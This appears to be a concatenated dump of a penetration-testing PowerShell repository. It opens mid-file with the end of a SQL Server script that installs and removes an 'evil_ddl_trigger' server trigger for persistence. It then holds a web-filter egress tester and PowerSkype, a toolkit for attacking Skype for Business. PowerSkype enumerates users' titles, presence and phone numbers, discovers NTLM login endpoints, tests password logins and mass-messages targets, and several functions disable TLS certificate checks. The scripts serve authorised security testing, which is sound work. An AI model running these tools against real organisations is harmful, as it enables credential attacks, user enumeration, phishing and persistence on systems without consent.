$cmd.ExecuteReader() 408 | 409 | # Close db connection 410 | $conn.Close() 411 | 412 | Write-Host "[*] The evil_ddl_trigger trigger has been added." -foreground "green" 413 | }else{ 414 | Write-Host "[*] No options were provided." -foreground "red" 415 | } 416 | 417 | # ------------------------------------------------------- 418 | # REmove DDL trigger 419 | # ------------------------------------------------------- 420 | if($Remove){ 421 | 422 | # Status user 423 | Write-Host "[*] Removing trigger named evil_DDL_trigger..." 424 | 425 | # --------------------------- 426 | # Create procedure 427 | # --------------------------- 428 | 429 | # Open db connection 430 | $conn.Open() 431 | 432 | # Setup query 433 | $Query = "IF EXISTS (SELECT * FROM sys.server_triggers WHERE name = 'evil_ddl_trigger') 434 | DROP TRIGGER [evil_ddl_trigger] ON ALL SERVER" 435 | 436 | $cmd = New-Object System.Data.SqlClient.SqlCommand($Query,$conn) 437 | $results = $cmd.ExecuteReader() 438 | 439 | # Close db connection 440 | $conn.Close() 441 | 442 | Write-Host "[*] The evil_ddl_trigger trigger has been been removed." -foreground "green" 443 | } 444 | 445 | Write-Host "[*] All done." 446 | } 447 | 448 | 449 | -------------------------------------------------------------------------------- /Invoke-WebFilterTest.psm1: -------------------------------------------------------------------------------- 1 | 2 | Function Invoke-WebFilterTest{ 3 | 4 | # Invoke-WebFilterTest 5 | # Author: scott sutherland 6 | # Description The basic idea is to build out a quick script to check for access to code repositories, file shares, and online clipboards used by common malware. 7 | # Note: This is a very basic PoC. Ideally it would be nice to include common web filter categories and summary data in output. Also, runspaces for larger lists. 8 | # Note: should test access to known blacklisted site 9 | # Note: should test access to uncategorized site 10 | # Note: should test more categories 11 | # Note: Should add a shorter timeout 12 | # Note: Add access test for all window.net and similar MS domains - reference: https://www.netspi.com/blog/technical/cloud-penetration-testing/enumerating-azure-services/ 13 | 14 | # Example Commands: 15 | <# 16 | 17 | # Checks access to default sites, but doesn't authenticate with the current user's credentials 18 | Invoke-WebFilterTest -Verbose 19 | 20 | # Checks access to default sites, and authenticates with the current user's credentials 21 | Invoke-WebFilterTest -Verbose -UseCurrentUserContext 22 | 23 | # Checks access to default sites, custom sites, and authenticates with the current user's credentials 24 | Invoke-WebFilterTest -Verbose -UseCurrentUserContext -$ListPath c:\temp\urls.txt 25 | 26 | # Checks access to default sites, but doesn't authenticate with the current user's credentials 27 | # Writes output to a file 28 | Invoke-WebFilterTest -Verbose | Export-Csv -NoTypeInformation c:\temp\webfiltertest.csv 29 | 30 | #> 31 | 32 | [CmdletBinding()] 33 | param 34 | ( 35 | [string]$ListPath, 36 | [Switch]$UseCurrentUserContext 37 | ) 38 | 39 | Begin 40 | { 41 | # Create data table for list of block strings 42 | $BlockStrings = new-object System.Data.DataTable 43 | $BlockStrings.Columns.Add("Product") | Out-Null 44 | $BlockStrings.Columns.Add("String") | Out-Null 45 | 46 | # Add block strings 47 | $BlockStrings.rows.add("Barracuda","The link you are accessing has been blocked by the Barracuda Web Filter") | Out-Null 48 | $BlockStrings.rows.add("Blue Coat","Blue Coat Systems") | Out-Null 49 | $BlockStrings.rows.add("Blue Coat","Your request was denied because of its content categorization:") | Out-Null 50 | $BlockStrings.rows.add("Web Filter","This page is blocked because it violates network policy") | Out-Null 51 | $BlockStrings.rows.add("FortiGuard","This web page is blocked because it violates network policy.") | Out-Null 52 | $BlockStrings.rows.add("IBoss","Access to the requested site has been restricted due to its contents.") | Out-Null 53 | $BlockStrings.rows.add("SonicWall","This site has been blocked by the network.") | Out-Null 54 | $BlockStrings.rows.add("SonicWall","The site has been blocked by the network") | Out-Null 55 | $BlockStrings.rows.add("UnTangled","This web page is blocked because it violates network policy.") | Out-Null 56 | $BlockStrings.rows.add("Unknown","URL Category Warning Acknowledgement") | Out-Null 57 | $BlockStrings.rows.add("McAfee Web Gateway","McAfee Web Gateway") | Out-Null 58 | $BlockStrings.rows.add("McAfee Web Gateway","This website was blocked because of the site’s category and/or reputation.") | Out-Null 59 | $BlockStrings.rows.add("ZScaler","Internet Security by Zscaler") | Out-Null 60 | $BlockStrings.rows.add("Palo Alto","Blocked Request: URL Policy Violation") | Out-Null 61 | 62 | # Create data table for list of target websites 63 | $WebSites = new-object System.Data.DataTable 64 | $WebSites.Columns.Add("URL") | Out-Null 65 | 66 | # Add target websites 67 | $WebSites.rows.add("https://bitbucket.org/") | Out-Null 68 | $WebSites.rows.add("https://pastebin.com/") | Out-Null 69 | $WebSites.rows.add("https://github.com/") | Out-Null 70 | $WebSites.rows.add("https://www.dropbox.com") | Out-Null 71 | $WebSites.rows.add("https://www.mediafire.com/") | Out-Null 72 | $WebSites.rows.add("http://www.4shared.com/") | Out-Null 73 | $WebSites.rows.add("https://www.google.com/drive/") | Out-Null 74 | $WebSites.rows.add("https://onedrive.live.com/") | Out-Null 75 | $WebSites.rows.add("https://www.icloud.com/") | Out-Null 76 | $WebSites.rows.add("http://box.com") | Out-Null 77 | $WebSites.rows.add("http://www.zippyshare.com/") | Out-Null 78 | $WebSites.rows.add("http://uploaded.net/") | Out-Null 79 | $WebSites.rows.add("https://www.sendspace.com/") | Out-Null 80 | $WebSites.rows.add("http://www.filecrop.com/") | Out-Null 81 | $WebSites.rows.add("http://pastebin.com/") | Out-Null 82 | $WebSites.rows.add("http://www.filedropper.com/") | Out-Null 83 | $WebSites.rows.add("http://FriendPaste.com") | Out-Null 84 | $WebSites.rows.add("http://CopyTaste.com")| Out-Null 85 | $WebSites.rows.add("http://Cl1p.net")| Out-Null 86 | $WebSites.rows.add("http://ShortText.com")| Out-Null 87 | $WebSites.rows.add("http://TextSave.de")| Out-Null 88 | $WebSites.rows.add("http://TextSnip.com")| Out-Null 89 | $WebSites.rows.add("http://TxtB.in")| Out-Null 90 | $WebSites.rows.add("https://raw.githubusercontent.com/NetSPI/PowerShell/master/Invoke-WebFilterTest.psm1") | Out-Null 91 | $WebSites.rows.add("https://gist.githubusercontent.com/nullbind/75a8fa02ba8d0a6f028cfb21c300e1e2/raw/0319cabbbd69c7bbd013850f1bc65188986b4636/MiniPowerUpSQL.psm1") | Out-Null 92 | 93 | # Check for target websites from provide file path 94 | If ($ListPath){ 95 | if (Test-Path $ListPath){ 96 | Write-Verbose "Path is valid." 97 | Get-Content $ListPath | 98 | ForEach-Object { 99 | $WebSites.rows.add($_) | Out-Null 100 | } 101 | }else{ 102 | Write-Verbose "List path is invalid." 103 | } 104 | } 105 | 106 | # Print count of target websites 107 | $WebSiteCount = $WebSites | Measure-Object -Line | Select-Object Lines -ExpandProperty Lines 108 | Write-Verbose "Testing access to $WebSiteCount websites..." 109 | 110 | # Create data table results 111 | $ResultsTbl = new-object System.Data.DataTable 112 | $ResultsTbl.Columns.Add("WebSite") | Out-Null 113 | $ResultsTbl.Columns.Add("Accessible") | Out-Null 114 | $ResultsTbl.Columns.Add("WebFilter") | Out-Null 115 | } 116 | 117 | Process 118 | { 119 | # Setup http handler 120 | $HTTP_Handle = New-Object net.webclient 121 | 122 | # Check for website access 123 | $WebSiteCount2 = $WebSiteCount + 1 124 | $WebSites | 125 | ForEach-Object { 126 | $WebSiteCount2 = $WebSiteCount2 - 1 127 | $CurrentUrl = $_.URL 128 | $Block = 0 129 | try { 130 | 131 | # Enable passthrough authentication to authenticate to the proxy using your current user context;) 132 | if($UseCurrentUserContext) 133 | { 134 | $HTTP_Handle.Proxy.Credentials = [System.Net.CredentialCache]::DefaultNetworkCredentials 135 | } 136 | 137 | # Reduce ssl requirements 138 | [System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true} 139 | [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 140 | 141 | # Send HTTP request and get results 142 | $Results = $HTTP_Handle.DownloadString("$CurrentUrl") 143 | 144 | # Check for blocks 145 | $BlockStrings | 146 | ForEach-Object { 147 | $CurrentBlockString = $_.String 148 | $WebFilterProduct = $_.Product 149 | if($Results -like "*$CurrentBlockString*"){ 150 | Write-Verbose "$WebSiteCount2 of $WebSiteCount - Status: Blocked ($WebFilterProduct) $CurrentUrl" 151 | $ResultsTbl.Rows.Add($CurrentUrl,"No","$WebFilterProduct") | Out-Null 152 | $Block = 1 153 | } 154 | } 155 | 156 | # Check for access 157 | if($Block -eq 0){ 158 | Write-Verbose "$WebSiteCount2 of $WebSiteCount - Status: Allowed $CurrentUrl" 159 | $ResultsTbl.Rows.Add($CurrentUrl,"Yes","NA") | Out-Null 160 | return 161 | } 162 | }catch{ 163 | 164 | $ErrorMessage = $_.Exception.Message 165 | Write-Verbose "$WebSiteCount2 of $WebSiteCount - Status: Request Failed - $ErrorMessage - $CurrentUrl" 166 | $ResultsTbl.Rows.Add($CurrentUrl,"Request Failed","NA") | Out-Null 167 | } 168 | } 169 | } 170 | 171 | End 172 | { 173 | # Return table with results 174 | $ResultsTbl 175 | } 176 | } 177 | -------------------------------------------------------------------------------- /PowerSkype.ps1: -------------------------------------------------------------------------------- 1 | <# 2 | File: PowerSkype.ps1 3 | Author: Karl Fosaaen (@kfosaaen), NetSPI - 2016 4 | Description: PowerShell functions for enumerating and attacking federated Skype for Business instances. 5 | Thanks: @nyxgeek for the http-ntlm authentication endpoints 6 | #> 7 | 8 | # To Do: 9 | # Add proper error handling on all inputs/functions 10 | # Add attachment functionality to send files w/messages 11 | 12 | 13 | # Import the assembly into the PowerShell session - http://blog.powershell.no/2013/08/08/automating-microsoft-lync-using-windows-powershell/ 14 | if (-not (Get-Module -Name Microsoft.Lync.Model)) 15 | { 16 | try 17 | { 18 | Import-Module -Name (Join-Path -Path ${env:ProgramFiles(x86)} -ChildPath "Microsoft Office 2013\LyncSDK\Assemblies\Desktop\Microsoft.Lync.Model.dll") -ErrorAction Stop 19 | } 20 | catch 21 | { 22 | Write-Warning "Microsoft.Lync.Model not available, download and install the Lync 2013 SDK http://www.microsoft.com/en-us/download/details.aspx?id=36824" 23 | break 24 | } 25 | } 26 | 27 | Function Get-SkypeStatus{ 28 | <# 29 | .SYNOPSIS 30 | Gets the current status of valid federated Skype users. 31 | .PARAMETER email 32 | The email address to lookup. 33 | .PARAMETER inputFile 34 | The file of email addresses to lookup. 35 | .PARAMETER outputFile 36 | The CSV file to write the table to. 37 | .PARAMETER attempts 38 | The number of times to check the status (Default=1). 39 | .PARAMETER delay 40 | The amount of delay to set between users read from a file. 41 | .EXAMPLE 42 | PS C:\> Get-SkypeStatus -email test@example.com 43 | 44 | Email : test@example.com 45 | Title : Chief Example Officer 46 | Full Name : Testing McTestface 47 | Status : Available 48 | Out Of Office : False 49 | 50 | #> 51 | 52 | 53 | [CmdletBinding()] 54 | Param( 55 | [Parameter(Mandatory=$false, 56 | HelpMessage="Email address to verify the status of.")] 57 | [string]$email, 58 | 59 | [Parameter(Mandatory=$false, 60 | HelpMessage="Input file to read email addresses from.")] 61 | [string]$inputFile, 62 | 63 | [Parameter(Mandatory=$false, 64 | HelpMessage="Output file to write valid emails to.")] 65 | [string]$outputFile, 66 | 67 | [Parameter(Mandatory=$false, 68 | HelpMessage="The number of times to check for an email's status - Default:1")] 69 | [string]$attempts, 70 | 71 | [Parameter(Mandatory=$false, 72 | HelpMessage="Delay to use - Helpful with large lists")] 73 | [string]$delay 74 | ) 75 | 76 | # Connect to the local Skype process 77 | try 78 | { 79 | $client = [Microsoft.Lync.Model.LyncClient]::GetClient() 80 | } 81 | catch 82 | { 83 | Write-Host "`nYou need to have Skype open and signed in first" 84 | break 85 | } 86 | 87 | # Bounds check the important inputs 88 | if(($email.Length -eq 0) -and ($inputFile.Length -eq 0)) 89 | { 90 | Get-Help Get-SkypeStatus 91 | break 92 | } 93 | 94 | # Create data table to house results 95 | $TempTblUsers = New-Object System.Data.DataTable 96 | $TempTblUsers.Columns.Add("Email") | Out-Null 97 | $TempTblUsers.Columns.Add("Title") | Out-Null 98 | $TempTblUsers.Columns.Add("Full Name") | Out-Null 99 | $TempTblUsers.Columns.Add("Status") | Out-Null 100 | $TempTblUsers.Columns.Add("Out Of Office") | Out-Null 101 | $TempTblUsers.Columns.Add("Endpoints") | Out-Null 102 | 103 | # Check if attempts is set 104 | if ($attempts.Length -eq 0){$attempts = 1} 105 | 106 | # Read any input file and kick off sub-routines 107 | if($inputFile) 108 | { 109 | foreach($line in (Get-Content $inputFile)) 110 | { 111 | Get-SkypeStatus -email $line -attempts $attempts 112 | if ($delay -ne $null){sleep $delay} 113 | } 114 | } 115 | 116 | # Loop through the number of attempts 117 | for ($i=1; $i -le $attempts; $i++) 118 | { 119 | #Get a remote contact 120 | if ($email.Length -gt 0){ 121 | try 122 | { 123 | $contact = $client.ContactManager.GetContactByUri($email) 124 | } 125 | catch 126 | { 127 | Write-Verbose "Failed to find Contact $email" 128 | break 129 | } 130 | } 131 | else{break} 132 | 133 | # Create a conversation 134 | $convo = $client.ConversationManager.AddConversation() 135 | if($contact) 136 | { 137 | $convo.AddParticipant($contact) | Out-Null 138 | } 139 | else{break} 140 | 141 | # Check contact availability 142 | if(($contact.GetContactInformation('Availability') -gt '0') -or ([string]$contact.GetContactInformation('Title'))) 143 | { 144 | # Iterate through phone numbers 145 | $numbers = "" 146 | $phones = $contact.GetContactInformation('ContactEndpoints') 147 | $phones | foreach {if ($_.Uri -like "tel:*") {if ($_.Type -eq "WorkPhone"){$numbers += "Work: "+$_.Uri+" "} elseif ($_.Type -eq "MobilePhone"){$numbers += "Mobile: "+$_.Uri+" "}}} 148 | 149 | # Add user to the table 150 | $TempTblUsers.Rows.Add([string]$email,[string]$contact.GetContactInformation('Title'),[string]$contact.GetContactInformation('DisplayName'),$contact.GetContactInformation('Activity'),[string]$contact.GetContactInformation('IsOutOfOffice'),$numbers) | Out-Null 151 | 152 | } 153 | # End the conversation 154 | $convo.End() | Out-Null 155 | 156 | # If an output file is set, write the CSV 157 | if($outputFile) 158 | { 159 | $TempTblUsers | Export-Csv -Path $outputFile -Append 160 | } 161 | } 162 | return $TempTblUsers 163 | } 164 | 165 | Function Get-SkypeLoginURL{ 166 | <# 167 | .SYNOPSIS 168 | Attempts to identify Skype HTTP-NTLM login servers from the autodiscover server. 169 | .PARAMETER domain 170 | The domain name to lookup. 171 | .EXAMPLE 172 | PS C:\> Get-SkypeLoginHost -domain example.com 173 | 174 | #> 175 | 176 | [CmdletBinding()] 177 | Param( 178 | [Parameter(Mandatory=$true, 179 | HelpMessage="The domain name to lookup.")] 180 | [string]$domain 181 | ) 182 | 183 | [System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true} 184 | 185 | #Do Nyxgeek subdomain checks first 186 | 187 | $discoDomain = 'lyncdiscover.'+$domain 188 | $accessDomain = 'access.'+$domain 189 | $meetDomain = 'meet.'+$domain 190 | $dialinDomain = 'dialin.'+$domain 191 | 192 | try{($disco = Resolve-DnsName $discoDomain -ErrorAction Stop -Verbose:$false | select Name | Select-Object -First 1)|Out-Null}catch{} 193 | try{($access = Resolve-DnsName $accessDomain -ErrorAction Stop -Verbose:$false | select Name | Select-Object -First 1)|Out-Null}catch{} 194 | try{($meet = Resolve-DnsName $meetDomain -ErrorAction Stop -Verbose:$false | select Name | Select-Object -First 1)|Out-Null}catch{} 195 | try{($dialin = (Resolve-DnsName $dialinDomain -ErrorAction Stop -Verbose:$false | select Name | Select-Object -First 1))|Out-Null}catch{} 196 | 197 | 198 | # Add in HTTP-NTLM auth prompt checks here 199 | 200 | if($disco.length -eq 0){Write-Verbose -Message "Lyncdiscover record not found"} 201 | else{ 202 | $lyncURL = "https://lyncdiscover."+$domain 203 | $webclient = new-object System.Net.WebClient 204 | try{ 205 | $webpage = $webclient.DownloadString($lyncURL) 206 | $FullLyncServer = "https://"+($webpage.Split('{')[3].Split('"')[3].Split("/")[2])+"/WebTicket/WebTicketService.svc/Auth" 207 | Write-Verbose -Message ("Lyncdiscover Authentication Endpoint Identified - "+$FullLyncServer) 208 | return $FullLyncServer 209 | } 210 | catch {Write-Verbose -Message "The AutoDiscover URL doesn't appear to work"} 211 | } 212 | 213 | if($dialin.length -eq 0){Write-Verbose -Message "Dialin record not found"} 214 | else{Write-Verbose -Message ("Dialin Authentication Endpoint Identified - https://dialin."+$domain+"/abs/"); return "https://dialin."+$domain+"/abs/"} 215 | 216 | 217 | #################STILL NEEDS SOME WORK################# 218 | if($meet.length -eq 0){Write-Verbose -Message "Meet record not found"} 219 | # Still Needs an auth endpoint here 220 | else{Write-Verbose -Message "Meet Authentication Endpoint Identified"; return "https://meet."+$domain+""} 221 | 222 | if($access.length -eq 0){Write-Verbose -Message "Access record not found"} 223 | # Still Needs an auth endpoint here 224 | else{Write-Verbose -Message "Access Authentication Endpoint Identified"; return "https://access."+$domain+""} 225 | 226 | Write-Host "`nThe domain does not appear to support any external Skype/Lync authentication endpoints" -ForegroundColor Red; break 227 | 228 | 229 | return $Returnurl 230 | 231 | } 232 | 233 | Function Invoke-SkypeLogin{ 234 | <# 235 | .SYNOPSIS 236 | Attempts a login as a Skype user. 237 | .PARAMETER email 238 | The email address to login as. 239 | .PARAMETER username 240 | The username to login as. 241 | .PARAMETER password 242 | The password to use. 243 | .PARAMETER url 244 | The url to authenticate against. 245 | .EXAMPLE 246 | PS C:\> Invoke-SkypeLogin -email test@example.com -password Fall2016 247 | 248 | #> 249 | 250 | [CmdletBinding()] 251 | Param( 252 | [Parameter(Mandatory=$true, 253 | HelpMessage="Email address to login as.")] 254 | [string]$email, 255 | 256 | [Parameter(Mandatory=$false, 257 | HelpMessage="Username to login as.")] 258 | [string]$username, 259 | 260 | [Parameter(Mandatory=$true, 261 | HelpMessage="Password to use.")] 262 | [string]$password, 263 | 264 | [Parameter(Mandatory=$false, 265 | HelpMessage="Domain name to login with.")] 266 | [string]$domain, 267 | 268 | [Parameter(Mandatory=$false, 269 | HelpMessage="The url to authenticate against.")] 270 | [string]$url 271 | ) 272 | 273 | if ($domain.Length -eq 0){$domain = $email.Split("@")[1]} 274 | 275 | if($url.Length -eq 0){ 276 | $emailDomain = $email.Split("@")[1] 277 | $url = Get-SkypeLoginURL -domain $emailDomain 278 | } 279 | 280 | if($url -like '*lync.com*'){Write-Host 'Microsoft Managed Skype for Business instance - HTTP NTLM Auth currently not supported' -ForegroundColor Red; break} 281 | 282 | if($username.Length -eq 0){$username = $email.Split("@")[0]} 283 | 284 | 285 | 286 | #Test URL - https://webdirca1.online.lync.com/WebTicket/WebTicketService.svc/Auth 287 | 288 | 289 | #https://meet.lync.com/TENNANT_NAME/USER/MEETING 290 | 291 | 292 | [System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true} 293 | 294 | #Depending on the HTTP code, determine if auth was successful 295 | #Useful info on the autodiscover protocol - http://www.lyncexch.co.uk/lyncdiscover-and-auto-discovery-deeper-dive/ 296 | 297 | $req = [system.Net.WebRequest]::Create($url) 298 | $req.Credentials = new-object System.Net.NetworkCredential($username, $password, $domain) 299 | try { 300 | $res = $req.GetResponse() 301 | } catch [System.Net.WebException] { 302 | $res = $_.Exception.Response 303 | } 304 | if ([int]$res.StatusCode -eq '403'){Write-Host 'Authentication Successful: '$domain\$username' - '$password -ForegroundColor Green} 305 | else{Write-Host 'Authentication Failure: '$domain\$username' - '$password -ForegroundColor Red} 306 | 307 | #$webpage = $webclient.DownloadString($url) 308 | 309 | 310 | #Write-Host "Successful Authentication for:"$email" - "$password 311 | 312 | } 313 | 314 | Function Invoke-SendSkypeMessage{ 315 | <# 316 | .SYNOPSIS 317 | Sends messages to Skype users. 318 | .PARAMETER email 319 | The email address to send the message to. 320 | .PARAMETER message 321 | The message to send. 322 | .PARAMETER inputFile 323 | The file of email addresses to message. 324 | .EXAMPLE 325 | PS C:\> Invoke-SendSkypeMessage -email test@example.com -message "Hello World" 326 | Sent the following message to test@example.com: 327 | Hello World 328 | #> 329 | 330 | [CmdletBinding()] 331 | Param( 332 | [Parameter(Mandatory=$false, 333 | HelpMessage="Email address to send the message to.")] 334 | [string]$email, 335 | 336 | [Parameter(Mandatory=$true, 337 | HelpMessage="Message to send.")] 338 | [string]$message, 339 | 340 | [Parameter(Mandatory=$false, 341 | HelpMessage="File of email addresses to send the message to.")] 342 | [string]$inputFile 343 | ) 344 | 345 | # Connect to the local Skype process 346 | try 347 | { 348 | $client = [Microsoft.Lync.Model.LyncClient]::GetClient() 349 | } 350 | catch 351 | { 352 | Write-Host "`nYou need to have Skype open and signed in first" 353 | break 354 | } 355 | 356 | # Bounds check the important inputs 357 | if(($email.Length -eq 0) -and ($inputFile.Length -eq 0)) 358 | { 359 | #Write-Host "Use -email or -inputFile and enter an email address..." 360 | Get-Help Invoke-SendSkypeMessage 361 | break 362 | } 363 | 364 | # Read any input file and kick off sub-routines 365 | if($inputFile) 366 | { 367 | foreach($line in (Get-Content $inputFile)) 368 | { 369 | if ($line.Length -ne $null){Invoke-SendSkypeMessage -email $line -message $message} 370 | } 371 | break 372 | } 373 | 374 | #Start Conversation 375 | $msg = New-Object "System.Collections.Generic.Dictionary[Microsoft.Lync.Model.Conversation.InstantMessageContentType, String]" 376 | 377 | #Add the Message 378 | $msg.Add(1,$message) 379 | 380 | # Add the contact URI 381 | try 382 | { 383 | $contact = $client.ContactManager.GetContactByUri($email) 384 | } 385 | catch 386 | { 387 | Write-Host "`nFailed to lookup Contact"$email 388 | break 389 | } 390 | 391 | # Create a conversation 392 | $convo = $client.ConversationManager.AddConversation() 393 | $convo.AddParticipant($contact) | Out-Null 394 | 395 | # Set the message mode as IM 396 | $imModality = $convo.Modalities[1] 397 | # Send the message 398 | $imModality.BeginSendMessage($msg, $null, $imModality) | Out-Null 399 | # End the Convo to suppress the UI 400 | $convo.End() | Out-Null 401 | 402 | Write-Host "Sent the following message to "$email":`n"$message 403 | } 404 | 405 | 406 | Function Invoke-SendGroupSkypeMessage{ 407 | <# 408 | .SYNOPSIS 409 | Sends group messages to multiple Skype users. 410 | .PARAMETER emails 411 | The email addresses to send the message to. 412 | .PARAMETER message 413 | The message to send. 414 | .PARAMETER inputFile 415 | The file of email addresses to message. 416 | .EXAMPLE 417 | PS C:\> Invoke-SendGroupSkypeMessage -emails "test@example.com, test1@example.com" -message "testing" 418 | Sent the following message to 2 users: 419 | testing 420 | .EXAMPLE 421 | PS C:\> Invoke-SendGroupSkypeMessage -inputFile "C:\Temp\2Emails.txt" -message "testing" 422 | Sent the following message to 2 users: 423 | testing 424 | #> 425 | 426 | [CmdletBinding()] 427 | Param( 428 | [Parameter(Mandatory=$false, 429 | HelpMessage="Email addresses to send the message to.")] 430 | [string]$emails, 431 | 432 | [Parameter(Mandatory=$false, 433 | HelpMessage="Input file to read email addresses from.")] 434 | [string]$inputFile, 435 | 436 | [Parameter(Mandatory=$true, 437 | HelpMessage="Message to send.")] 438 | [string]$message 439 | ) 440 | 441 | # Variable checking 442 | if (($emails -eq $null) -and ($inputFile -eq $null)){break} 443 | 444 | # Connect to the local Skype process 445 | try 446 | { 447 | $client = [Microsoft.Lync.Model.LyncClient]::GetClient() 448 | } 449 | catch 450 | { 451 | Write-Host "`nYou need to have Skype open and signed in first" 452 | break 453 | } 454 | 455 | #Start Conversation 456 | $msg = New-Object "System.Collections.Generic.Dictionary[Microsoft.Lync.Model.Conversation.InstantMessageContentType, String]" 457 | 458 | #Add the Message 459 | $msg.Add(1,$message) 460 | 461 | # Get a count of the emails for final output 462 | $count = 0 463 | 464 | if($inputFile) 465 | { 466 | # Create a conversation 467 | $convo = $client.ConversationManager.AddConversation() 468 | foreach($email in (Get-Content $inputFile)) 469 | { 470 | # Add email to group message $line 471 | try 472 | { 473 | $contact = $client.ContactManager.GetContactByUri($email.Replace(" ","")) 474 | $convo.AddParticipant($contact) | Out-Null 475 | $count += 1 476 | } 477 | catch 478 | { 479 | Write-Host "`nFailed to lookup Contact"$email 480 | } 481 | } 482 | } 483 | else 484 | { 485 | # Create a conversation 486 | $convo = $client.ConversationManager.AddConversation() 487 | # add the comma list from the input to the message 488 | $emailSplit = $emails.Split(',') 489 | foreach ($email in $emailSplit) 490 | { 491 | try 492 | { 493 | $contact = $client.ContactManager.GetContactByUri($email.Replace(" ","")) 494 | $convo.AddParticipant($contact) | Out-Null 495 | $count += 1 496 | } 497 | catch 498 | { 499 | Write-Host "`nFailed to lookup Contact"$email 500 | } 501 | 502 | } 503 | } 504 | 505 | # Set the message mode as IM 506 | $imModality = $convo.Modalities[1] 507 | # Send the message 508 | $imModality.BeginSendMessage($msg, $null, $imModality) | Out-Null 509 | $convo.End() | Out-Null 510 | 511 | Write-Host "Sent the following message to"$count "users:`n"$message 512 | } 513 | 514 | 515 | Function Get-SkypeFederation{ 516 | <# 517 | .SYNOPSIS 518 | Does DNS lookups on common federation records. 519 | .PARAMETER Domain 520 | The domain to lookup. 521 | .EXAMPLE 522 | PS C:\> Get-SkypeFederation -domain netspi.com 523 | 524 | Domain : netspi.com 525 | MS=MS* : True 526 | _sip._tcp : False 527 | _sip._tls : True 528 | _sipfederationtls._tcp : False 529 | #> 530 | 531 | # This is in Progress... 532 | 533 | [CmdletBinding()] 534 | Param( 535 | [Parameter(Mandatory=$false, 536 | HelpMessage="Domain to verify the status of.")] 537 | [string]$domain 538 | ) 539 | 540 | # Create data table to house results 541 | $TempTblDomain = New-Object System.Data.DataTable 542 | $TempTblDomain.Columns.Add("Domain") | Out-Null 543 | $TempTblDomain.Columns.Add("MS=MS*") | Out-Null 544 | $TempTblDomain.Columns.Add("_sip._tcp") | Out-Null 545 | $TempTblDomain.Columns.Add("_sip._tls") | Out-Null 546 | $TempTblDomain.Columns.Add("_sipfederationtls._tcp") | Out-Null 547 | 548 | $txt = try{(Resolve-DnsName -Type TXT $domain -ErrorAction Stop | select Strings)}catch{} 549 | $sip = try{Resolve-DnsName -Type SRV "_sip._tcp.$domain" -ErrorAction Stop}catch{} 550 | $siptls = try{Resolve-DnsName -Type SRV "_sip._tls.$domain" -ErrorAction Stop}catch{} 551 | $sipFed = try{Resolve-DnsName -Type SRV "_sipfederationtls._tcp.$domain" -ErrorAction Stop}catch{} 552 | 553 | $ms = "False" 554 | $sipTrue = "False" 555 | $siptlsTrue = "False" 556 | $sipFedTrue = "False" 557 | 558 | if($txt -contains "MS=" -or "ms=") 559 | { 560 | $ms = "True" 561 | } 562 | if($sip) 563 | { 564 | $sipTrue = "True" 565 | } 566 | if($siptls) 567 | { 568 | $siptlsTrue = "True" 569 | } 570 | if($sipFed) 571 | { 572 | $sipFedTrue = "True" 573 | } 574 | 575 | # Add domain to table 576 | $TempTblDomain.Rows.Add([string]$domain,[string]$ms,[string]$sipTrue,[string]$siptlsTrue,[string]$sipFedTrue) | Out-Null 577 | return $TempTblDomain 578 | } 579 | 580 | 581 | function Get-SkypeContacts{ 582 | 583 | <# 584 | .SYNOPSIS 585 | Gets a list of contacts from the current user. 586 | .PARAMETER group 587 | The specific group to list. (Default is to list all contacts) 588 | .EXAMPLE 589 | PS C:\> Get-SkypeContacts | ft -AutoSize 590 | Email Title Full Name Status Out Of Office Endpoints 591 | ----- ----- --------- ------ ------------- --------- 592 | test@example.com Person of Interest J Doe Offline False Work: tel:911 593 | 594 | #> 595 | 596 | [CmdletBinding()] 597 | Param( 598 | [Parameter(Mandatory=$false, 599 | HelpMessage="The contact group to list.")] 600 | [string]$group 601 | ) 602 | 603 | # Connect to the local Skype process 604 | try 605 | { 606 | $client = [Microsoft.Lync.Model.LyncClient]::GetClient() 607 | } 608 | catch 609 | { 610 | Write-Host "`nYou need to have Skype open and signed in first" 611 | break 612 | } 613 | 614 | if ($group.length -ne 0){ 615 | $groups = $client.ContactManager.Groups 616 | foreach ($g in $groups){ 617 | if ($g.Name -eq $group) { 618 | foreach ($contact in $g){ 619 | foreach ($email in $contact.GetContactInformation('email')){Get-SkypeStatus $email} 620 | } 621 | } 622 | } 623 | } 624 | else{ 625 | $groups = $client.ContactManager.Groups 626 | foreach ($g in $groups){ 627 | foreach ($contact in $g){ 628 | foreach ($email in $contact.GetContactInformation('email')){Get-SkypeStatus $email} 629 | } 630 | } 631 | } 632 | } 633 | 634 | function Get-SkypeDomainUsers{ 635 | 636 | <# 637 | .SYNOPSIS 638 | Searches the users contacts for available contacts. 639 | 640 | .EXAMPLE 641 | PS C:\> Get-SkypeDomainUsers | ft -AutoSize 642 | Email Title Full Name Status Out Of Office Endpoints 643 | ----- ----- --------- ------ ------------- --------- 644 | test@example.com Person of Interest J Doe Offline False Work: tel:911 645 | 646 | #> 647 | 648 | # Connect to the local Skype process 649 | try 650 | { 651 | $client = [Microsoft.Lync.Model.LyncClient]::GetClient() 652 | } 653 | catch 654 | { 655 | Write-Host "`nYou need to have Skype open and signed in first" 656 | break 657 | } 658 | 659 | # Helpful Link - https://msdn.microsoft.com/en-us/library/office/dn391639.aspx 660 | 661 | # Does simple outlook contacts search 662 | # Search a to z and filter 663 | # This is inefficient, but functional right now 664 | 665 | $letters = "a","b","c","d","e","f","g","h","i","j","k","l","m","n","o","p","q","r","s","t","u","v","w","x","y","z" 666 | 667 | 668 | # Create data table to house results 669 | $TempTblUris = New-Object System.Data.DataTable 670 | $TempTblUris.Columns.Add("URI") | Out-Null 671 | 672 | 673 | foreach($letter in $letters){ 674 | $searcher = $client.ContactManager.BeginSearch($letter, $null, $null) 675 | $end = $client.ContactManager.EndSearch($searcher) 676 | 677 | $uris += ($end | ForEach-Object {$_.Contacts | ForEach-Object {$TempTblUris.Rows.Add([string]$_.Uri)}}) 678 | 679 | } 680 | 681 | # Sort and unique the final table 682 | $finalTable = $TempTblUris | sort-object -Property uri -Unique 683 | 684 | # Take each URI and run Get-SkypeStatus on it 685 | foreach ($uri in $finalTable){Get-SkypeStatus -email ([string]$uri.URI.split(":")[1])} 686 | 687 | 688 | } 689 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Powershell 2 | NetSPI PowerShell Scripts 3 | -------------------------------------------------------------------------------- 